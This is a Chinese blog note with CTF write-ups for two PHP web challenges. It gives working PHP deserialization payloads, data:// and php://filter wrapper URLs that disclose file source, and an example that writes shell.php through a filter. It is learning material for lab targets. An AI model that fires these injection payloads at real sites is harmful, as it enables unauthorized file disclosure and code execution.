note-17

[SWPUCTF 2021 新生赛]ez_unserialize

没想到我也有能秒反序列化的一天,还以为永远入不了门了
拿到题目发现只有一个静态页面
然后dirsearch扫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[13:31:24] Starting:
[13:31:28] 403 - 309B - /.ht_wsr.txt
[13:31:28] 403 - 312B - /.htaccess.bak1
[13:31:28] 403 - 312B - /.htaccess.save
[13:31:28] 403 - 314B - /.htaccess.sample
[13:31:28] 403 - 310B - /.htaccess_sc
[13:31:28] 403 - 313B - /.htaccess_extra
[13:31:28] 403 - 312B - /.htaccess.orig
[13:31:28] 403 - 310B - /.htaccessBAK
[13:31:28] 403 - 312B - /.htaccess_orig
[13:31:28] 403 - 310B - /.htaccessOLD
[13:31:28] 403 - 311B - /.htaccessOLD2
[13:31:28] 403 - 302B - /.htm
[13:31:28] 403 - 303B - /.html
[13:31:28] 403 - 312B - /.htpasswd_test
[13:31:28] 403 - 309B - /.httr-oauth
[13:31:28] 403 - 308B - /.htpasswds
[13:31:45] 200 - 0B - /flag.php
[13:31:56] 200 - 35B - /robots.txt
[13:31:57] 403 - 311B - /server-status
[13:31:57] 403 - 312B - /server-status/

直接访问flag.php无果,
访问robots.txt

notice

robots大概作用应该是用来告诉搜索引擎不能爬取哪些页面,没有强制性作用

在robots里发现/cl45s.php
访问得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

写了个payload,一次成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

$a=new wllm();
$a->admin="admin";
$a->passwd="ctf";
echo serialize($a);
?>

///运行得到:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

直接get传得到flag

1
/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

没看懂为啥get传好像传不进去
去看大佬的wp

https://www.nssctf.cn/note/set/3017

原来是这里

1
(file_get_contents($text,'r')==="welcome to the zjctf")

file_get_contents()

file_get_contents() 函数在 PHP 中用于读取文件内容或获取远程资源的内容。
它可以读取通过 GET 方法传入的 URL 或文件路径,但不能直接读取通过 GET 方法传入的字符串参数。

所以像这样传入字符串是没用的

1
?text=welcome to the zjctf

法一:

通过data://伪协议,让字符串传递进去。这里传递纯文本,payload:text=data://text/plain,welcome to the zjctf

法二:
通过php://input伪协议构造POST请求,传进去的字符串就放在post请求的payload上

我是选法一了,毕竟直接在url上就能完成
data:// 协议:
data:// 协议允许你通过数据 URI 来访问数据。你可以将数据直接嵌入到 URL 中,而不需要创建一个实际的文件。
例如:

1
2
3
4
5
6
7
8
<?php
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

// text/plain,表示的是文本

// text/plain;base64, 若纯文本没用可用base64编码

这样就能传入welcome to the zjctf了

接下来

1
2
3
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();

检查$file变量中是否包含字符串”flag”。

preg_match(“/flag/“,$file):使用正则表达式匹配$file中是否包含”flag”。

如果匹配到”flag”,输出”Not now!”并终止脚本执行。

由于并不是过滤字符,没法用双写绕过了

这样先看下面,有提示一个useless.php

根据反序列化代码我们可以推测题目想让我们构造反序列化POC触发useless.php里面的类,
要想构造POC我们得知道这个类长什么样,
于是问题的矛盾指向了useless.php的源码,
这里只能通过php://filter/convert.base64-encode/resource=useless.php来查看加密后的源码(不加密会被当成php执行)

1
http://node4.anna.nssctf.cn:28681/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到useless.php得内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

那么最后就有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
else{
highlight_file(__FILE__);
}

$a=new Flag;
$a->file=flag.php;
echo serialize($a);
?>

最后poc出了password的payload,

1
O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}

但是传进去后只回显了个

1
2
3
4
5
6
welcome to the zjctf


oh u find it

U R SO CLOSE !///COME ON PLZ

最后去看别人的wp才知道flag就包含在这个页面下,按f12就能看到了😅
最终payload

1
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

总结

这题我就只会最后构造反序列化的poc了
但也是学到了php伪协议的东西

notice01

KIMI:逐部分解析

include:
include 是 PHP 中的一个语句,用于动态包含另一个文件的内容到当前脚本中。
如果被包含的文件中包含 PHP 代码,这些代码会被执行。
php://filter:
php://filter 是一个伪协议,允许开发者在读取或写入数据时应用过滤器。它可以在数据流打开时对数据进行处理。
convert.base64-encode:
这是一个过滤器,表示对数据进行 Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的方法,常用于在需要以文本形式传输二进制数据的场景。
resource=useless.php:
resource 参数指定了要处理的文件路径,这里是 useless.php。这意味着过滤器将应用于 useless.php 文件的内容。


php://filter

是 PHP 中一种独特的伪协议,它允许开发者在数据读取或写入过程中应用过滤器,从而实现对数据的处理。它是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,例如 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

php://filter 协议的一般语法为:

1
2
3
4
5
php://filter/<action>/resource=<待过滤的数据流>

//其中 <action> 表示要对数据执行的过滤操作,如读取(read)、转换编码(convert)或字符串操作(string)等;
//<待过滤的数据流> 通常是要读取或写入的文件路径或 URL。
//过滤器可以设置多个,按照链式的方式依次对数据进行过滤处理

过滤器分类
字符串过滤器:以 string 开头,对数据进行字符串处理,如 rot13、toupper、tolower、strip_tags 等。
转换过滤器:以 convert 开头,对数据进行编码转换,如 Base64 编码、解码,Quoted-Printable 编码、解码,iconv 字符编码转换等。
压缩过滤器:如 zlib.deflate(压缩)、zlib.inflate(解压)、bzip2.compress(压缩)、bzip2.decompress(解压)等。
加密过滤器:如 mcrypt.* 和 mdecrypt.*,用于数据的加密和解密。不过,这个特性已自 PHP 7.1.0 起废弃,强烈建议不要使用。

示例
读取文件并进行 Base64 编码:

1
2
echo file_get_contents("php://filter/convert.base64-encode/resource=index.php");
这行代码会读取 index.php 文件的内容,并将其进行 Base64 编码后输出。
1
2
3
file_put_contents("php://filter/write=convert.base64-decode/resource=shell.php", base64_encode("<?php phpinfo(); ?>"));
这行代码会将 Base64 编码的字符串写入 shell.php 文件,
并在写入前进行 Base64 解码,最终 shell.php 文件中将包含原始的 <?php phpinfo(); ?> 代码。

note-17
https://aidemofashi.github.io/2025/03/23/note-17/
作者
aidemofashi
发布于
2025年3月23日
许可协议